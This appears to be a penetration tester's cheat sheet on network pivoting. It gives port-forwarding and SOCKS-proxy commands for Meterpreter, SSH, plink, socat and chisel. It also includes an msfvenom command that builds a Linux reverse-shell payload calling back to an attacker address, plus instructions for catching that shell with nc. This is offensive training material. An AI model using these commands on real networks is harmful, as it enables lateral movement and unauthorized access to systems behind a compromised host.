

pivoting

PORT FORWARDING "port to port":

----MSF----

Most platforms

Forward:

Get meterpreter session on one of the dual homed machines

portfwd add -l 4445 -p 4443 -r 10.1.1.1

Use -R to make it reverse

----SSH----

For Linux

~C "if you already have an SSH session"

-R 8081:172.24.0.2:80 (on my Kali machine listen on 8081, get it from 172.24.0.2:80)

<KALI 10.1.1.1>:8081<-----<REMOTE 172.24.0.2>:80

Now you can access 172.24.0.2:80, which you didn't have direct access to

-L 8083:127.0.0.1:8084 (on your machine listen on 8083, send it to my Kali machine on 8084)

<KALI 127.0.0.1>:8084<-----<REMOTE 10.1.1.230>:8083<-----<REMOTE X.X.X.X>:XXXX

run nc on port 8084, and if 10.1.1.230:8083 receives a reverse shell, you will get it

For reverse shell:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.230 LPORT=8083 -f exe -o shell

Run it on 2nd remote target to get a shell on Kali

Or if you didn't have an SSH session, then SSH to your Kali from target machine:

On Kali: service ssh start "add a user, give it /bin/false in /etc/passwd"

ssh -R 12345:192.168.122.228:5986 test@10.1.1.1

---PLINK----

Just like SSH, on Windows

service ssh start , and transfer /usr/share/windows-binaries/plink.exe to the target machine

On Target: plink.exe 10.1.1.1 -P 22 -C -N -L 0.0.0.0:4445:10.1.1.1:4443 -l KALIUSER -pw PASS

---SOCAT----

For linux

Forward your 8083 to 62.41.90.2:443

./socat TCP4-LISTEN:8083,fork TCP4:62.41.90.2:443

---CHISEL----

Most platforms

Remote static tunnels "port to port":

On Kali "reverse proxy listener":

./chisel server -p 8000 -reverse

General command:

./chisel client <YOUR IP>:<YOUR CHISEL SERVER PORT> L/R:[YOUR LOCAL IP]:<TUNNEL LISTENING PORT>:<TUNNEL TARGET>:<TUNNEL

Remote tunnels "access IP:PORT you couldn't access before":

On Target:

./chisel client 10.1.1.1:8000 R:127.0.0.1:8001:172.19.0.3:80

Local tunnels "listen on the target for something, and send it to us":

On Target:

./chisel client 10.1.1.1:8000 9001:127.0.0.1:8003

DYNAMIC "port to any":

setup proxychains with socks5 on 127.0.0.1:1080

Or set up socks5 proxy on firefox
For nmap use -Pn -sT or use tcp scanner in msf

----MSF----

Most platforms

Get meterpreter session on one of the dual homed machines

Auto route to 10.1.1.0 (multi/manage/autoroute)

Start socks proxy (auxiliary/server/socks4a)

(portscan once created route)

use auxiliary/scanner/portscan/tcp

set RHOSTS IP (pivoting onto that's not part of arp-scan you ran)

(if a machine has port 80 and webports, to check it through out machine we have to create a portforward)

portfwd add -l 8001 -p 80 -r IP

(then go to 127.0.0.1:8001)

----SSH----

For Linux

-D1080

---PLINK---

Just like SSH, on Windows

On Target: plink.exe 10.1.1.1 -P 22 -C -N -D 1080 -l KALIUSER -pw PASS

---CHISEL----

Most platforms

On Kali:

./chisel server -p 8000 -reverse

On Target:

./chisel client 10.1.1.1:8000 R:8001:127.0.0.1:1080

./chisel server -p 8001 --socks5

On Kali:

./chisel client 127.0.0.1:8001 socks